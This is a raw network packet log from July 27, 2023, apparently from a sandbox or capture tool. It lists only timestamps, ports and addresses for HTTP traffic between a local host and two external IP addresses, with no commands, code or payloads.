Jul 27, 2023 18:27:09.825773954 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825783968 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825799942 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825809002 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825833082 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825834036 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825851917 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825858116 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825884104 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825884104 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825898886 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825907946 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825932026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825937033 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.825964928 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825968027 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.825984955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825998068 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826004982 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826023102 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826026917 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826040030 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826046944 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826055050 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826066971 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826076984 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826086044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826092958 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826106071 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826114893 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826126099 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826132059 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826144934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826148987 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826164961 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826174021 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826184034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826189995 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826203108 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826205969 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826222897 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826226950 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826244116 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826244116 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826262951 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826267004 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826282024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826299906 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.826308012 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826319933 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826325893 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826339006 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826347113 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826359034 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826375961 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.826380014 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826385975 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826400995 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826411963 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826421022 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826432943 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826442003 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826451063 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826462984 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826472998 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826483965 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826493979 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826503992 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826510906 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826525927 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826529026 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826546907 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826561928 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826569080 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826577902 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826589108 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826596022 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826610088 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826615095 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826631069 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826652050 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826672077 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826690912 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826709986 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826710939 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826730967 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826731920 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826750994 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826765060 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826771975 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826792002 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826800108 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826812029 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826827049 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826834917 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826857090 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.826859951 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826909065 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.826944113 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.846122026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846160889 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846189976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846215963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846252918 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846281052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846316099 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846339941 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846350908 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846350908 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846350908 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846364975 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846390009 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846410990 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846410990 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846410990 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846415043 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846436977 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846440077 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846465111 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846476078 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846488953 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846501112 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846501112 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846514940 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846539021 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846539021 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846563101 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846564054 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846587896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846594095 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846612930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.846620083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846638918 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.846659899 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.862941980 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.862993956 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.863029003 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.863064051 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.863096952 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.863102913 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.863153934 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.863153934 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.863184929 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.863221884 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.863255024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.863276005 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.864389896 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.882622004 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.892316103 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.097887039 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.097922087 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.097942114 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.097961903 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.097981930 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098001003 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098022938 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098031998 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098043919 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098062992 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098071098 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098084927 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098104000 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098105907 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098124981 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098126888 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098148108 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098167896 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098200083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098243952 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098265886 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098287106 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098304033 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.098313093 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.098436117 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.099411011 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.099510908 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100104094 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100125074 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100145102 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100163937 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100164890 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100183964 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100193977 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100204945 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100224972 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100244045 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100244999 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100285053 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100311041 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100332022 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100338936 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100351095 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100353003 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100372076 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100385904 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100394011 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100395918 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100415945 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100434065 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100435972 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100455046 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100455999 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100475073 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100481033 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100495100 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100514889 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100517035 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100534916 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100537062 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100557089 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100559950 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100578070 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100579023 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100599051 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100600004 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100620031 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100636959 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100637913 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100657940 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100673914 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100680113 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100699902 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100699902 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100722075 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100723028 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100744009 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100744963 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100764990 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100780964 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100785971 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100790977 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100805998 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100807905 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100830078 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100847960 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100852966 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100852966 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100867987 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100872040 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100888968 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100891113 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100908995 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100910902 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100929022 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100930929 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100950003 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100967884 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100970030 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.100987911 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.100991964 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.101007938 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.101011038 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.101028919 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.101035118 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.101051092 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.101054907 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.101073980 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.101093054 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.213072062 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.213159084 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.229645014 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.229690075 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.278345108 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.278398037 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.278487921 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.301983118 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.302033901 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.318470955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.318500042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.368496895 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368567944 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368614912 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368655920 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368694067 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.368704081 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368752003 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368761063 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.368761063 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.368799925 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368845940 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368877888 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368879080 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.368927956 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368974924 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.368980885 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369009018 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369023085 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369031906 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369071960 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369090080 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369119883 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369127035 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369168043 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369183064 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369215012 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369260073 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369262934 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369283915 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369309902 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369357109 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369371891 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369407892 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369424105 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369471073 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369492054 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369539022 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369549990 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369607925 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369616032 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369663954 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369678974 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369708061 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369734049 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369755030 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369771957 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369803905 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369851112 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369860888 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369898081 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369927883 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369945049 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.369951010 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.369992018 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370008945 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370039940 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370045900 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370085001 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370101929 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370134115 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370146990 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370182037 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370228052 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370259047 CEST	49712	80	192.168.2.4	103.100.211.218
